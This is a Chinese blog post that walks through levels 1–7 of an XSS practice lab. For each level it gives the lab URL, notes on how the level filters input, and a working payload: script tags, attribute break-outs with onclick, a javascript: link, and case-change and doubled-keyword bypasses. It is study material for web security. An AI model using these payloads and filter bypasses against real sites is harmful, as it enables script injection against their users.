首页 > 其他分享 >XSS基础学习(2)

XSS基础学习(2)

时间:2023-08-14 20:23:55浏览次数:115  
标签:XSS http 基础 alert 学习 109.21 9995 payload 输入

XSS基础学习(2)

六、靶场实践

第一关
http://8.130.109.21:9995/level1.php?name=test
// 通过页面发现输入点,name=test,test是输入点,先输入<,查看页面源码,此时<未被转义,构建以下payload。通关
//payload
http://8.130.109.21:9995/level1.php?name=<script>alert(1);</script>
第二关
http://8.130.109.21:9995/level2.php?keyword=test
// 查看页面源码<input name=keyword  value="test">,需要闭合,构建payload
//payload,在输入框中输入
"><script>alert(1);</script>
第三关
http://8.130.109.21:9995/level3.php?keyword=%3E&submit=%E6%90%9C%E7%B4%A2
// 在输入点输入>,然后查看页面源码,发现<input name=keyword  value='&gt;'>,此时>被转义,此时可以用onclick来构建payload
//payload 输入框内输入,提交后点击输入框
' onclick='javascript:alert(1)
第四关
http://8.130.109.21:9995/level4.php?keyword=try%20harder!
// 查看页面源码,发现闭合方式是双引号闭合
<input name=keyword  value="try harder!">
//payload构建
" onclick="javascript:alert(1)
第五关
http://8.130.109.21:9995/level5.php?keyword=find%20a%20way%20out!
// 输入onclicke等关键字,会发现
<input name=keyword  value="" o_nclick="javascript:alert(1)">
//payload
"> <a href="javascript:alert(`xss`);">xss</a
第六关
http://8.130.109.21:9995/level6.php?keyword=break%20it%20out!
// 输入点输入 " onclick="javascript:alert(1) 发现
<input name=keyword  value="" o_nclick="javascript:alert(1)">试试大小写绕过的方式
//payload
" ONclick="javascript:alert(1)
第七关
http://8.130.109.21:9995/level7.php?keyword=move%20up!
// 输入点输入 " onclick="javascript:alert(1) 发现
<input name=keyword  value="" click="java:alert(1)">,发现消去关键字,试试双写绕过
" oONnclick="javascript:alert(1)

标签:XSS,http,基础,alert,学习,109.21,9995,payload,输入
From: https://www.cnblogs.com/xiaoyi208/p/17629634.html

相关文章

  • Java入门学习——二进制、八进制、十六进制
    一、十进制转二进制的算法十进制数转二进制数:除二取余法。  二、十进制转十进制的算法三、二进制转十进制的算法    四、八进制、十六进制介绍为了便于观察和表示二进制,推出八进制和十六进制。每3位二进制作为一个单元,最小数是0(000),最大数是7(111),共8个数字,这就是......
  • Java基础之--内部类
    1、局部内部类比如: 2、匿名内部类 packagecom.lwx.inner;publicclassAnonymousInnerClass{publicstaticvoidmain(String[]args){Outer02outer02=newOuter02();outer02.m1();}}classOuter02{privateintn1=20;......
  • 关于Python的学习记录(二十二_读写 CSV 文件)
    CSV文件介绍CSV(CommaSeparatedValues)全称逗号分隔值文件是一种简单、通用的文件格式,被广泛的应用于应用程序(数据库、电子表格等)数据的导入和导出以及异构系统之间的数据交换。因为CSV是纯文本文件,不管是什么操作系统和编程语言都是可以处理纯文本的,而且很多编程语言中都提供了......
  • sql注入基础
    什么是注入?通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的sql命令,从而进一步得到相应的数据信息通过构造一条精巧的语句,来查询到想要的信息注入分类按照查询字段分为:字符型当输入的参数为字符串时,称为字符型数字型......
  • JavaSE基础知识
    1.JavaSE基础知识1.数据类型1.1.基本类型1子节=8位1byte=8bit整数型类型占用字节范围byte1-128(-2^7)~127(2^7-1)short2-2^15~2^15-1int4-2^31~2^31-1long8-2^63~2^63-1浮点型类型占用字节float4double8......
  • 【免费分享 图书】《阿里云天池大赛赛题解析——机器学习篇》-PDF电子书-百度云
    找这本书的资源简直要把我找吐了,各种网站压缩包一下下来就开始各种套路(比如要你充钱)为了防止还有我这样的受害者,这就把找到的PDF给大家分享一下。链接在文章最后如果这篇文章能够帮到您,麻烦帮我点个赞,并关注一下我,我有更多动力,持续分享更多有用图书给您!非常感谢,不胜感激!(点关......
  • 线性表【数据结构学习-青岛大学王卓老师】
    https://www.bilibili.com/video/BV1qz4y1p767/线性表线性表的初始化(顺序表)StatusInitList(SqList&L){L.elem=(ElemType*)malloc(sizeof(ElemType)*MAXSIZE);if(!L.elem)exit(OVERFLOW);L.length=0;returnOK;}线性表的销毁voi......
  • Java基础实现加油站圈存机系统
    加油站圈存机系统​ 对于加油卡而言,圈存是将用户账户中已存入的资金划转到所持的加油卡上后方可使用。通俗一点的说法就是您在网点把钱存入主卡中,再分配到下面的副卡,由于副卡都在使用车辆的驾驶员手中,需要在加油的时候在加油站让加油站员工划一下即可,就是所谓的圈存。圈存操作流......
  • 盘点一个列表相加的Python基础题目
    大家好,我是皮皮。一、前言前几天在明佬的Python群【dq】问了一个Python列表基础处理的问题,一起来看看吧。下图是他的原始列表,想通过左边的列表,得到右边的合并列表。二、实现过程这里【流水线】和【hclw】大佬给了一个答案,如下图所示:如此顺利地解决了粉丝的问题。后来他自己也写了个......
  • C学习3
    1、阶乘#include<stdio.h>intmain(){intn=0;inti=0;intret=1;scanf_s("%d",&n);for(i=1;i<=n;i++){ret=ret*i;}printf("ret=%d\n",ret);return0;}此处不用scanf而是用scanf_s,在ANSIC中只有sc......